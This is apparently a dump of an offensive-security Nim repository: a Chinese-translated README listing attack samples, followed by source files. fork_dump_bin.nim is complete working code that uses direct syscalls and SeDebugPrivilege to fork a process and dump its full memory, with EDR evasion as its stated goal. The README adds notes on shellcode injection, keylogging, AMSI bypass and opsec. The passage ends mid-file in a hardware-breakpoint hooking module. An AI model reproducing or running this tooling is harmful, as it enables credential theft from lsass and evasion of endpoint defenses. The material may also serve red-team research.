创建一个挂起的精彩,并用 `VirtualAllocEx`/`CreateRemoteThread`方法来注入shellcode。 同时也演示了使用编译时定义来侦测架构、 系统等等 | 57 | | `passfilter_lib.nim` | 通过使用(滥用)密码复杂性过滤器来记录密码改变 | 58 | | `minidump_bin.nim` | 使用`MiniDumpWriteDump`来创建一个lsass进程的内存拷贝 | 59 | | `http_request_bin.nim` | 演示发送HTTP请求的2种方式 | 60 | | `execute_sct_bin.nim` | 通过 `GetObject()`来执行`.sct`扩展文件 | 61 | | `scriptcontrol_bin.nim` | 使用`MSScriptControl` COM对象来动态执行VBScript和JScript | 62 | | `excel_com_bin.nim` | 使用Excel COM 对象和Macros来注入shellcode | 63 | | `keylogger_bin.nim` | 使用 `SetWindowsHookEx`来做键盘记录 | 64 | | `amsi_patch_bin.nim` | 在当前进程通过补丁AMSI的方式绕过AMSI | 65 | 66 | ## 范例中的半成品 67 | 68 | | File | Description | 69 | | ---------------------- | ------------------------------------------------------------ | 70 | | `amsi_patch_2_bin.nim` | 用另外一种方法在当前经常通过补丁AMSI的方式绕过AMSI (**半成品,感谢帮助**) | 71 | | `excel_4_com_bin.nim` | 使用Excel COM对象和Excel 4 Macros注入shellcode (**半成品**) | 72 | 73 | ## 编译范例 74 | 75 | 此仓库不提供二进制文件,你需要自己编译。 76 | 77 | 这个仓库配置的是在*nix/MacOS平台上跨平台编译成Windows程序的Nim源码例子,当然它们应该也可以在Windows平台上直接编译 (你可以无脑的使用Makefile文件一键编译)。 78 | 79 | [安装Nim](https://nim-lang.org/install_unix.html) 用系统软件管理器 (对于Windows平台可以直接使用官网的 [安装包](https://nim-lang.org/install_windows.html)) 80 | 81 | - `brew install nim` 82 | - `apt install nim` 83 | 84 | (Nim也提供了一个docker image但是不知道他是怎么执行跨平台编译工作的,需要研究一下) 85 | 86 | 你现在应该可以使用 `nim` & `nimble` 命令了,前者是Nim编译器, 后者是Nim的包管理器。 87 | 88 | 跨平台编译Windows程序需要安装 `Mingw` 工具集 (Windows平台不需要): 89 | - *nix: `apt-get install mingw-w64` 90 | - MacOS: `brew install mingw-w64` 91 | 92 | 最后,安装牛逼的[Winim](https://github.com/khchen/winim)库: 93 | 94 | - `nimble install winim` 95 | 96 | 然后cd进入仓库当前目录并执行 `make`。 97 | 98 | 你应该能够找到二进制文件和dlls在 `bin/` 目录。 99 | 100 | ## 跨平台编译 101 | 102 | 查看更多跨平台编译部分的详情,在 [Nim编译器指南](https://nim-lang.github.io/Nim/nimc.html#crossminuscompilation)中。 103 | 104 | 在MacOs/*nix跨平台编译Windows程序需要 `mingw` 工具集,常常使用`brew install mingw-w64`或者`apt install mingw-w64`安装。 105 | 106 | 在编译时你仅仅需要指定 `-d=mingw` 参数。 107 | 108 | E.g. `nim c -d=mingw --app=console --cpu=amd64 source.nim` 109 | 110 | ## C/C++接口 111 | 112 | 查看在Nim手册中的 [FFI 部分](https://nim-lang.org/docs/manual.html#foreign-function-interface) 。 113 | 114 | 假如你熟悉csharps P/Invoke,它本质上是相同的概念,竟然看上去有点难看: 115 | 116 | 调用 `MessageBox` 举例 117 | 118 | ```nim 119 | type 120 | HANDLE* = int 121 | HWND* = HANDLE 122 | UINT* = int32 123 | LPCSTR* = cstring 124 | 125 | proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 126 | {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".} 127 | 128 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 129 | ``` 130 | 131 | 对于一些复杂的Windows API调用使用 [Winim库](https://github.com/khchen/winim),既节约时间也不会增加文件大小 (参见下文) ,依赖于你导入它的方式。 132 | 133 | 甚至支持COM调用!!! 134 | 135 | ## 用 `DllMain`入口点函数创建Windows DLLs 136 | 137 | 非常感谢这位朋友在Nim论坛的[文章](https://forum.nim-lang.org/t/1973)。 138 | 139 | 每当你告诉Nim编译器创建Windows DLL时,它都会在编译时自动的为你创建`DllMain`函数,但是由于某种原因,它实际上并未导出。为了有一个入口点函数 `DllMain` ,你需要通过 `--nomain` 和利用合适的pragmas (`stdcall, exportc, dynlib`)定义一个 `DllMain` 函数。 140 | 141 | 你也需要调用 `NimMain` 为 `DllMain` 去初始化Nim的垃圾回收。(非常重要的,否则你的电脑可能被气的炸)。 142 | 143 | 举例: 144 | 145 | ```nim 146 | import winim/lean 147 | 148 | proc NimMain() {.cdecl, importc.} 149 | 150 | proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} = 151 | NimMain() 152 | 153 | if fdwReason == DLL_PROCESS_ATTACH: 154 | MessageBox(0, "Hello, world !", "Nim is Powerful", 0) 155 | 156 | return true 157 | ``` 158 | 159 | 编译: 160 | 161 | ``` 162 | nim c -d=mingw --app=lib --nomain --cpu=amd64 mynim.dll 163 | ``` 164 | 165 | 166 | ## 优化可执行程序大小 167 | 168 | 取至 [Nim的常见问题说明](https://nim-lang.org/faq.html) 169 | 170 | 要最大程度的减小程序体积,请使用一下参数 `-d:danger -d:strip --opt:size` 171 | 172 | 此外,我发现通过以下参数可以进一步减小程序体积 `--passc=-flto --passl=-flto` 。你也可以看一看项目中的 `Makefile` 文件。 173 | 174 | 这些参数**显著的**减小了程序体积: 在MacOSX上交叉编译shellcode注入示例,程序大小从484.3 KB变成了46.5 KB! 175 | 176 | ## 是否使用Winim库,可执行程序大小是不同的 177 | 178 | 大小差异基本上可以忽略不计。尤其是当你使用了上面提到的方法优化程序体积。 179 | 180 | `pop_bin.nim` 和 `pop_winim_bin.nim` 例子就是为了这个目的而创建的。 181 | 182 | 定义了一个`MessageBox`,前者使用手动调用WinAPI,后者用Winim库(具体是 `winim/lean` ,这是其中一个核心的SDK,详情看 [usage](https://github.com/khchen/winim#usage)),结果如下: 183 | 184 | ``` 185 | byt3bl33d3r@ecl1ps3 OffensiveNim % ls -lah bin 186 | -rwxr-xr-x 1 byt3bl33d3r 25K Nov 20 18:32 pop_bin_32.exe 187 | -rwxr-xr-x 1 byt3bl33d3r 32K Nov 20 18:32 pop_bin_64.exe 188 | -rwxr-xr-x 1 byt3bl33d3r 26K Nov 20 18:33 pop_winim_bin_32.exe 189 | -rwxr-xr-x 1 byt3bl33d3r 34K Nov 20 18:32 pop_winim_bin_64.exe 190 | ``` 191 | 192 | 假如你使用 `import winim/com`全部的导入Winim库,它仅仅增加了20KB左右,考虑到它抽象的功能量,是100%值得的: 193 | ``` 194 | byt3bl33d3r@ecl1ps3 OffensiveNim % ls -lah bin 195 | -rwxr-xr-x 1 byt3bl33d3r 42K Nov 20 19:20 pop_winim_bin_32.exe 196 | -rwxr-xr-x 1 byt3bl33d3r 53K Nov 20 19:20 pop_winim_bin_64.exe 197 | ``` 198 | 199 | ## Opsec考虑 200 | 201 | 由于Nim有FFI,就不会使用 `LoadLibrary` 做自动导入,因此您的外部导入函数都不会真正显示在可执行文件的静态导入中 (更多详情看这篇 [文章](https://secbytes.net/Implant-Roulette-Part-1:-Nimplant)): 202 | 203 | ![](https://user-images.githubusercontent.com/5151193/99911179-d0dd6000-2caf-11eb-933a-6a7ada510747.png) 204 | 205 | 假如你编译Nim源码成为一个DLL,似乎看上去总有一个 `NimMain`导入函数,不管你是否指定了`DllMain` (??)。这可能会被用来作为一个潜在的特征,不知道有多少的应用使用Nim作为开发语言。不然这个特征会特别突出。 206 | 207 | ![](https://user-images.githubusercontent.com/5151193/99911079-4563cf00-2caf-11eb-960d-e500534b56dd.png) 208 | 209 | ## 转换C代码去Nim 210 | 211 | https://github.com/nim-lang/c2nim 212 | 213 | 用它去转换一些小的C代码片段,还有没有尝试过一些主要功能。 214 | 215 | ## 跨语言使用 216 | 217 | - Python整合https://github.com/yglukhov/nimpy 218 | * 这是个非常有趣的项目, [尤其是这部分](https://github.com/yglukhov/nimpy/blob/master/nimpy/py_lib.nim#L330)。经过一些修改可以从内存中加载PythonxXX.dll? 219 | 220 | - Jave VM 整合: https://github.com/yglukhov/jnim 221 | 222 | ## 调试 223 | 224 | 主要使用 `repr()` 函数和 `echo`,支持大部分 (??) 数据样式, 甚至结构体! 225 | 226 | 详情看这篇 [文章](https://nim-lang.org/blog/2017/10/02/documenting-profiling-and-debugging-nim-code.html) 227 | 228 | ## 配置开发环境 229 | 230 | VSCode中有一个Nim扩展 是非常好用的。这似乎是目前唯一的选择。 231 | 232 | ## 我遇到过的陷阱 233 | 234 | - 当使用Winim库调用winapi需要传递一个null值时,确保使用Winim定义的 `NULL` 去代替Nim内置的`nil`。(呸) 235 | - 在Windows上使用open()打开的文件句柄,您需要使用f.getOsFileHandle()而不是f.getFileHandle()。 236 | 237 | - Nim编译器不接受如下参数形式 `-a=value` 或者 `--arg=value` ,只能使用如下形式 `-a:value` 或者 `--arg:value`. (对于使用Makefile文件来说是重要的) 238 | - 当定义byte数组时,你至少要在第一个值中标识它是一个字节,有点奇怪但就是这样的 (https://forum.nim-lang.org/t/4322) 239 | 240 | C#的字节数组写法: 241 | ```csharp 242 | byte[] buf = new byte[5] {0xfc,0x48,0x81,0xe4,0xf0,0xff} 243 | ``` 244 | 245 | Nim的字节数组写法: 246 | ```nim 247 | var buf: array[5, byte] = [byte 0xfc,0x48,0x81,0xe4,0xf0,0xff] 248 | ``` 249 | 250 | ## 有趣的Nim库 251 | 252 | - https://github.com/dom96/jester 253 | - https://github.com/pragmagic/karax 254 | - https://github.com/Niminem/Neel 255 | - https://github.com/status-im/nim-libp2p 256 | - https://github.com/PMunch/libkeepass 257 | - https://github.com/def-/nim-syscall 258 | - https://github.com/tulayang/asyncdocker 259 | - https://github.com/treeform/ws 260 | - https://github.com/guzba/zippy 261 | - https://github.com/rockcavera/nim-iputils 262 | - https://github.com/FedericoCeratto/nim-socks5 263 | - https://github.com/CORDEA/backoff 264 | - https://github.com/treeform/steganography 265 | - https://github.com/miere43/nim-registry 266 | - https://github.com/status-im/nim-daemon 267 | 268 | ## Nim植入体开发相关连接 269 | 270 | - https://secbytes.net/Implant-Roulette-Part-1:-Nimplant 271 | - https://securelist.com/zebrocys-multilanguage-malware-salad/90680/ 272 | - https://github.com/MythicAgents/Nimplant 273 | - https://github.com/elddy/Nim-SMBExec 274 | - https://github.com/elddy/NimScan 275 | -------------------------------------------------------------------------------- /src/fork_dump_bin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | 3 | Author: Marcello Salvati, Twitter: @byt3bl33d3r 4 | License: BSD 3-Clause 5 | 6 | This (ab)uses Window's implementation of Fork() and acquires a handle to a remote process using the PROCESS_CREATE_PROCESS access right potentially allowing to evade EDR detectons. 7 | 8 | This example uses MiniDumpWriteDump() to dump the forked processes memory after acquiring it's handle. 9 | See the blogpost in the references below for a full write-up. 10 | 11 | References: 12 | - https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/ 13 | - https://github.com/D4stiny/ForkPlayground 14 | ]# 15 | 16 | from os import paramStr, commandLineParams 17 | from system import quit, newException 18 | from strutils import parseInt 19 | import strformat 20 | import winim/lean 21 | 22 | {.passC:"-masm=intel".} 23 | 24 | type 25 | FunctionCallException = object of CatchableError 26 | MINIDUMP_TYPE = enum 27 | MiniDumpWithFullMemory = 0x00000002 28 | 29 | # Syscall generated using NimlineWhispers (https://github.com/ajpc500/NimlineWhispers) 30 | proc NtCreateProcessEx*( 31 | ProcessHandle: PHANDLE, 32 | DesiredAccess: ACCESS_MASK, 33 | ObjectAttributes: POBJECT_ATTRIBUTES, 34 | ParentProcess: HANDLE, 35 | Flags: ULONG, 36 | SectionHandle: HANDLE, 37 | DebugPort: HANDLE, 38 | ExceptionPort: HANDLE, 39 | JobMemberLevel: ULONG 40 | ): NTSTATUS {.asmNoStackFrame.} = 41 | 42 | asm """ 43 | mov rax, gs:[0x60] 44 | NtCreateProcessEx_Check_X_X_XXXX: 45 | cmp dword ptr [rax+0x118], 6 46 | je NtCreateProcessEx_Check_6_X_XXXX 47 | cmp dword ptr [rax+0x118], 10 48 | je NtCreateProcessEx_Check_10_0_XXXX 49 | jmp NtCreateProcessEx_SystemCall_Unknown 50 | NtCreateProcessEx_Check_6_X_XXXX: 51 | cmp dword ptr [rax+0x11c], 1 52 | je NtCreateProcessEx_Check_6_1_XXXX 53 | cmp dword ptr [rax+0x11c], 2 54 | je NtCreateProcessEx_SystemCall_6_2_XXXX 55 | cmp dword ptr [rax+0x11c], 3 56 | je NtCreateProcessEx_SystemCall_6_3_XXXX 57 | jmp NtCreateProcessEx_SystemCall_Unknown 58 | NtCreateProcessEx_Check_6_1_XXXX: 59 | cmp word ptr [rax+0x120], 7600 60 | je NtCreateProcessEx_SystemCall_6_1_7600 61 | cmp word ptr [rax+0x120], 7601 62 | je NtCreateProcessEx_SystemCall_6_1_7601 63 | jmp NtCreateProcessEx_SystemCall_Unknown 64 | NtCreateProcessEx_Check_10_0_XXXX: 65 | cmp word ptr [rax+0x120], 10240 66 | je NtCreateProcessEx_SystemCall_10_0_10240 67 | cmp word ptr [rax+0x120], 10586 68 | je NtCreateProcessEx_SystemCall_10_0_10586 69 | cmp word ptr [rax+0x120], 14393 70 | je NtCreateProcessEx_SystemCall_10_0_14393 71 | cmp word ptr [rax+0x120], 15063 72 | je NtCreateProcessEx_SystemCall_10_0_15063 73 | cmp word ptr [rax+0x120], 16299 74 | je NtCreateProcessEx_SystemCall_10_0_16299 75 | cmp word ptr [rax+0x120], 17134 76 | je NtCreateProcessEx_SystemCall_10_0_17134 77 | cmp word ptr [rax+0x120], 17763 78 | je NtCreateProcessEx_SystemCall_10_0_17763 79 | cmp word ptr [rax+0x120], 18362 80 | je NtCreateProcessEx_SystemCall_10_0_18362 81 | cmp word ptr [rax+0x120], 18363 82 | je NtCreateProcessEx_SystemCall_10_0_18363 83 | cmp word ptr [rax+0x120], 19041 84 | je NtCreateProcessEx_SystemCall_10_0_19041 85 | cmp word ptr [rax+0x120], 19042 86 | je NtCreateProcessEx_SystemCall_10_0_19042 87 | cmp word ptr [rax+0x120], 19043 88 | je NtCreateProcessEx_SystemCall_10_0_19043 89 | jmp NtCreateProcessEx_SystemCall_Unknown 90 | NtCreateProcessEx_SystemCall_6_1_7600: 91 | mov eax, 0x004a 92 | jmp NtCreateProcessEx_Epilogue 93 | NtCreateProcessEx_SystemCall_6_1_7601: 94 | mov eax, 0x004a 95 | jmp NtCreateProcessEx_Epilogue 96 | NtCreateProcessEx_SystemCall_6_2_XXXX: 97 | mov eax, 0x004b 98 | jmp NtCreateProcessEx_Epilogue 99 | NtCreateProcessEx_SystemCall_6_3_XXXX: 100 | mov eax, 0x004c 101 | jmp NtCreateProcessEx_Epilogue 102 | NtCreateProcessEx_SystemCall_10_0_10240: 103 | mov eax, 0x004d 104 | jmp NtCreateProcessEx_Epilogue 105 | NtCreateProcessEx_SystemCall_10_0_10586: 106 | mov eax, 0x004d 107 | jmp NtCreateProcessEx_Epilogue 108 | NtCreateProcessEx_SystemCall_10_0_14393: 109 | mov eax, 0x004d 110 | jmp NtCreateProcessEx_Epilogue 111 | NtCreateProcessEx_SystemCall_10_0_15063: 112 | mov eax, 0x004d 113 | jmp NtCreateProcessEx_Epilogue 114 | NtCreateProcessEx_SystemCall_10_0_16299: 115 | mov eax, 0x004d 116 | jmp NtCreateProcessEx_Epilogue 117 | NtCreateProcessEx_SystemCall_10_0_17134: 118 | mov eax, 0x004d 119 | jmp NtCreateProcessEx_Epilogue 120 | NtCreateProcessEx_SystemCall_10_0_17763: 121 | mov eax, 0x004d 122 | jmp NtCreateProcessEx_Epilogue 123 | NtCreateProcessEx_SystemCall_10_0_18362: 124 | mov eax, 0x004d 125 | jmp NtCreateProcessEx_Epilogue 126 | NtCreateProcessEx_SystemCall_10_0_18363: 127 | mov eax, 0x004d 128 | jmp NtCreateProcessEx_Epilogue 129 | NtCreateProcessEx_SystemCall_10_0_19041: 130 | mov eax, 0x004d 131 | jmp NtCreateProcessEx_Epilogue 132 | NtCreateProcessEx_SystemCall_10_0_19042: 133 | mov eax, 0x004d 134 | jmp NtCreateProcessEx_Epilogue 135 | NtCreateProcessEx_SystemCall_10_0_19043: 136 | mov eax, 0x004d 137 | jmp NtCreateProcessEx_Epilogue 138 | NtCreateProcessEx_SystemCall_Unknown: 139 | ret 140 | NtCreateProcessEx_Epilogue: 141 | mov r10, rcx 142 | syscall 143 | ret 144 | """ 145 | 146 | proc MiniDumpWriteDump( 147 | hProcess: HANDLE, 148 | ProcessId: DWORD, 149 | hFile: HANDLE, 150 | DumpType: MINIDUMP_TYPE, 151 | ExceptionParam: INT, 152 | UserStreamParam: INT, 153 | CallbackParam: INT 154 | ): BOOL {.importc: "MiniDumpWriteDump", dynlib: "dbghelp", stdcall.} 155 | 156 | proc cleanSnapshot(currentSnapshotProcess: HANDLE): BOOL = 157 | result = TRUE 158 | 159 | result = TerminateProcess(currentSnapshotProcess, 0) 160 | CloseHandle(currentSnapshotProcess) 161 | if result == FALSE: 162 | echo fmt"Failed to terminate process {GetProcessId(currentSnapshotProcess)} [Error: {GetLastError()}]" 163 | 164 | proc forkSnapshot(targetProcessId: DWORD): HANDLE = 165 | result = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, targetProcessId) 166 | if result == FALSE: 167 | echo fmt"Failed to open a PROCESS_CREATE_PROCESS handle to target process {targetProcessId} [Error: {GetLastError()}]" 168 | raise newException(FunctionCallException, "OpenProcess() failed") 169 | 170 | proc takeSnapshot(targetProcessId: DWORD): HANDLE = 171 | var 172 | currentSnapshotProcess: HANDLE 173 | status: NTSTATUS 174 | targetProcess: HANDLE = forkSnapshot(targetProcessId) 175 | 176 | status = NtCreateProcessEx( 177 | addr currentSnapshotProcess, 178 | PROCESS_ALL_ACCESS, 179 | NULL, 180 | targetProcess, 181 | 0, 182 | 0, 183 | 0, 184 | 0, 185 | 0 186 | ) 187 | 188 | if NT_SUCCESS(status) == FALSE: 189 | echo fmt"Failed to create fork process for target {targetProcessId} [Error: {GetLastError()}]" 190 | raise newException(FunctionCallException, "NtCreateProcessEx() failed") 191 | 192 | return currentSnapshotProcess 193 | 194 | proc setDebugPrivs(): bool = 195 | var 196 | currentToken: HANDLE 197 | currentDebugValue: LUID 198 | newTokenPrivs: TOKEN_PRIVILEGES 199 | adjustSuccess: WINBOOL 200 | 201 | if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr currentToken) == FALSE: 202 | echo fmt"Failed to open current process token [Error: {GetLastError()}]" 203 | return false 204 | 205 | if LookupPrivilegeValue(NULL, SE_DEBUG_NAME, addr currentDebugValue) == FALSE: 206 | echo fmt"Failed to lookup current debug privilege [Error: {GetLastError()}]" 207 | CloseHandle(currentToken) 208 | return false 209 | 210 | newTokenPrivs.PrivilegeCount = 1 211 | newTokenPrivs.Privileges[0].Luid = currentDebugValue 212 | newTokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED 213 | 214 | adjustSuccess = AdjustTokenPrivileges( 215 | currentToken, 216 | FALSE, 217 | addr newTokenPrivs, 218 | cast[DWORD](sizeof(newTokenPrivs)), 219 | NULL, 220 | NULL 221 | ) 222 | 223 | if adjustSuccess == FALSE or GetLastError() != ERROR_SUCCESS: 224 | echo fmt"Failed to set debug privileges on current process [Error: {GetLastError()}]" 225 | CloseHandle(currentToken) 226 | return false 227 | 228 | echo "Successfully set debug privs on current process" 229 | return true 230 | 231 | when isMainModule: 232 | if len(commandLineParams()) == 0: 233 | echo "Usage: fork_dump.exe [target process ID]" 234 | quit(1) 235 | 236 | var 237 | snapshotProcess: HANDLE 238 | dumpFileName: string = r"C:\Windows\Temp\test.dump" 239 | dumpFile: File 240 | dumpSuccess: BOOL 241 | adjustedPrivSuccess: bool 242 | targetProcessId: DWORD = cast[DWORD](parseInt(paramStr(1))) 243 | 244 | echo "targetProcessId: ", targetProcessId 245 | dumpfile = open(dumpFileName, fmWrite) 246 | 247 | try: 248 | snapshotProcess = takeSnapshot(targetProcessId) 249 | except FunctionCallException: 250 | echo "Forking process failed, setting debug privileges and re-trying" 251 | adjustedPrivSuccess = setDebugPrivs() 252 | snapshotProcess = takeSnapshot(targetProcessId) 253 | 254 | dumpSuccess = MiniDumpWriteDump( 255 | snapshotProcess, 256 | GetProcessId(snapshotProcess), 257 | dumpfile.getOsFileHandle(), 258 | MiniDumpWithFullMemory, 259 | 0, 260 | 0, 261 | 0 262 | ) 263 | 264 | if dumpSuccess == TRUE: 265 | echo fmt"Successfully dumped forked process {targetProcessId} to {dumpFileName}!" 266 | else: 267 | echo fmt"Failed to create dump of forked process [Error: {GetLastError()}]" 268 | 269 | dumpFile.close() 270 | discard cleanSnapshot(snapshotProcess) 271 | -------------------------------------------------------------------------------- /src/hardware_breakpoints.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: m4ul3r (@m4ul3r_0x00) 3 | Reference: Maldev Academy 4 | License: BSD 3-Clause 5 | 6 | Description: 7 | Utilize Hardware Breakpoints to hook functions. 8 | See "EXMAPLE USAGE" on how to use hardware breakpoints. 9 | ]# 10 | 11 | import winim/lean 12 | 13 | type 14 | DRX = enum 15 | Dr0, Dr1, Dr2, Dr3 16 | HookFuncType = proc(pContext:PCONTEXT){.stdcall.} 17 | 18 | var 19 | g_VectorHandler: PVOID # Vectored Exception Handler 20 | g_DetourFuncs: array[4, PVOID] # Array of 4 Hook functions 21 | g_CriticalSection: CRITICAL_SECTION 22 | 23 | proc ucRet() {.asmNoStackFrame.} = 24 | ## Ret used to terminate original function execution 25 | asm """.byte 0xc3""" 26 | 27 | proc BLOCK_REAL(pThreadCtx: PCONTEXT) = 28 | ## Used in detour function to block execution of original hooked function 29 | pThreadCtx.Rip = cast[int](ucRet) 30 | 31 | proc setDr7Bits(currentDr7Register, startingBitPosition, nmbrOfBitsToModify, newBitValue: int): int = 32 | ## Enable or disable an installed breakpoint 33 | var 34 | mask: int = ((1 shl nmbrOfBitsToModify) - 1) 35 | newDr7Register: int = (currentDr7Register and not (mask shl startingBitPosition)) or (newBitValue shl startingBitPosition) 36 | return newDr7Register 37 | 38 | proc setHardwareBreakpoint(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool = 39 | var threadCtx: CONTEXT 40 | threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS 41 | 42 | if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: 43 | echo "[!] GetThreadContext Failed: ", GetLastError() 44 | return false 45 | 46 | case drx: 47 | of Dr0: 48 | if (threadCtx.Dr0 == 0): 49 | threadCtx.Dr0 = cast[int](pAddress) 50 | of Dr1: 51 | if (threadCtx.Dr1 == 0): 52 | threadCtx.Dr1 = cast[int](pAddress) 53 | of Dr2: 54 | if (threadCtx.Dr2 == 0): 55 | threadCtx.Dr2 = cast[int](pAddress) 56 | of Dr3: 57 | if (threadCtx.Dr3 == 0): 58 | threadCtx.Dr3 = cast[int](pAddress) 59 | 60 | # Save the hooked function at index 'drx' in global array 61 | EnterCriticalSection(g_CriticalSection.addr) 62 | g_DetourFuncs[cast[int](drx)] = fnHookFunc 63 | LeaveCriticalSection(g_CriticalSection.addr) 64 | 65 | # Enable the breakpoint 66 | threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1) 67 | 68 | if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: 69 | echo "[!] SetThreadContext Failed", GetLastError() 70 | return false 71 | 72 | return true 73 | 74 | proc removeHardwareBreakpoint(drx: DRX): bool = 75 | var threadCtx: CONTEXT 76 | threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS 77 | 78 | if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: 79 | echo "[!] GetThreadContext Failed: ", GetLastError() 80 | return false 81 | 82 | # Remove the address of the hooked function from the thread context 83 | case drx: 84 | of Dr0: 85 | threadCtx.Dr0 = cast[int](0) 86 | of Dr1: 87 | threadCtx.Dr1 = cast[int](0) 88 | of Dr2: 89 | threadCtx.Dr2 = cast[int](0) 90 | of Dr3: 91 | threadCtx.Dr3 = cast[int](0) 92 | 93 | # Disabling the breakpoint 94 | threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0) 95 | 96 | if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0: 97 | echo "[!] SetThreadContext Failed", GetLastError() 98 | return false 99 | 100 | return true 101 | 102 | proc vectorHandler(pExceptionInfo: ptr EXCEPTION_POINTERS): int = 103 | # If the exception is 'EXCEPTION_SINGLE_STEP' then its caused by a bp 104 | if (pExceptionInfo.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP): 105 | if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr0) or 106 | (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr1) or 107 | (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr2) or 108 | (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr3): 109 | var 110 | dwDrx: DRX 111 | fnHookFunc = cast[HookFuncType](0) 112 | 113 | EnterCriticalSection(g_CriticalSection.addr) 114 | 115 | if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr0): 116 | dwDrx = Dr0 117 | if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr1): 118 | dwDrx = Dr1 119 | if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr2): 120 | dwDrx = Dr2 121 | if (cast[int](pExceptionInfo.ExceptionRecord.ExceptionAddress) == pExceptionInfo.ContextRecord.Dr3): 122 | dwDrx = Dr3 123 | 124 | discard removeHardwareBreakpoint(dwDrx) 125 | 126 | # Execute the callback (detour function) 127 | fnHookFunc = cast[HookFuncType](g_DetourFuncs[cast[int](dwDrx)]) 128 | fnHookFunc(pExceptionInfo.ContextRecord) 129 | 130 | discard setHardwareBreakpoint(pExceptionInfo.ExceptionRecord.ExceptionAddress, g_DetourFuncs[cast[int](dwDrx)], dwDrx) 131 | 132 | LeaveCriticalSection(g_CriticalSection.addr) 133 | 134 | return EXCEPTION_CONTINUE_EXECUTION 135 | # The exception is not handled 136 | return EXCEPTION_CONTINUE_SEARCH 137 | 138 | #[ Function argument handling ]# 139 | proc getFunctionArgument(pThreadCtx: PCONTEXT, dwParamIdx: int): pointer = 140 | # amd64 141 | case dwParamIdx: 142 | of 1: 143 | return cast[PULONG](pThreadCtx.Rcx) 144 | of 2: 145 | return cast[PULONG](pThreadCtx.Rdx) 146 | of 3: 147 | return cast[PULONG](pThreadCtx.R8) 148 | of 4: 149 | return cast[PULONG](pThreadCtx.R9) 150 | else: 151 | # else more arguments are pushed to the stack 152 | return cast[PULONG](pThreadCtx.Rsp + (dwParamIdx * sizeof(PVOID))) 153 | 154 | proc setFunctionArgument(pThreadCtx: PCONTEXT, uValue: PULONG, dwParamIdx: int) = 155 | # amd64 156 | case dwParamIdx: 157 | of 1: 158 | pThreadCtx.Rcx = cast[int](uValue) 159 | of 2: 160 | pThreadCtx.Rdx = cast[int](uValue) 161 | of 3: 162 | pThreadCtx.R8 = cast[int](uValue) 163 | of 4: 164 | pThreadCtx.R9 = cast[int](uValue) 165 | else: 166 | # else more arguments are pushed to the stack 167 | cast[ptr int](pThreadCtx.Rsp + (dwParamIdx * sizeof(PVOID)))[] = cast[int](uValue) 168 | 169 | # getFunctionArgument macros 170 | template GETPARAM_1(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 1) 171 | template GETPARAM_2(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 2) 172 | template GETPARAM_3(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 3) 173 | template GETPARAM_4(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 4) 174 | template GETPARAM_5(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 5) 175 | template GETPARAM_6(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 6) 176 | template GETPARAM_7(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 7) 177 | template GETPARAM_8(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 8) 178 | template GETPARAM_9(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, 9) 179 | template GETPARAM_a(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, a) 180 | template GETPARAM_b(ctx: PCONTEXT): pointer = getFunctionArgument(ctx, b) 181 | 182 | # setFunctionArgument macros 183 | template SETPARAM_1(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 1) 184 | template SETPARAM_2(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 2) 185 | template SETPARAM_3(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 3) 186 | template SETPARAM_4(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 4) 187 | template SETPARAM_5(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 5) 188 | template SETPARAM_6(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 6) 189 | template SETPARAM_7(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 7) 190 | template SETPARAM_8(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 8) 191 | template SETPARAM_9(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, 9) 192 | template SETPARAM_a(ctx: PCONTEXT, value: untyped) = setFunctionArgument(ctx, value, a) 193 | template 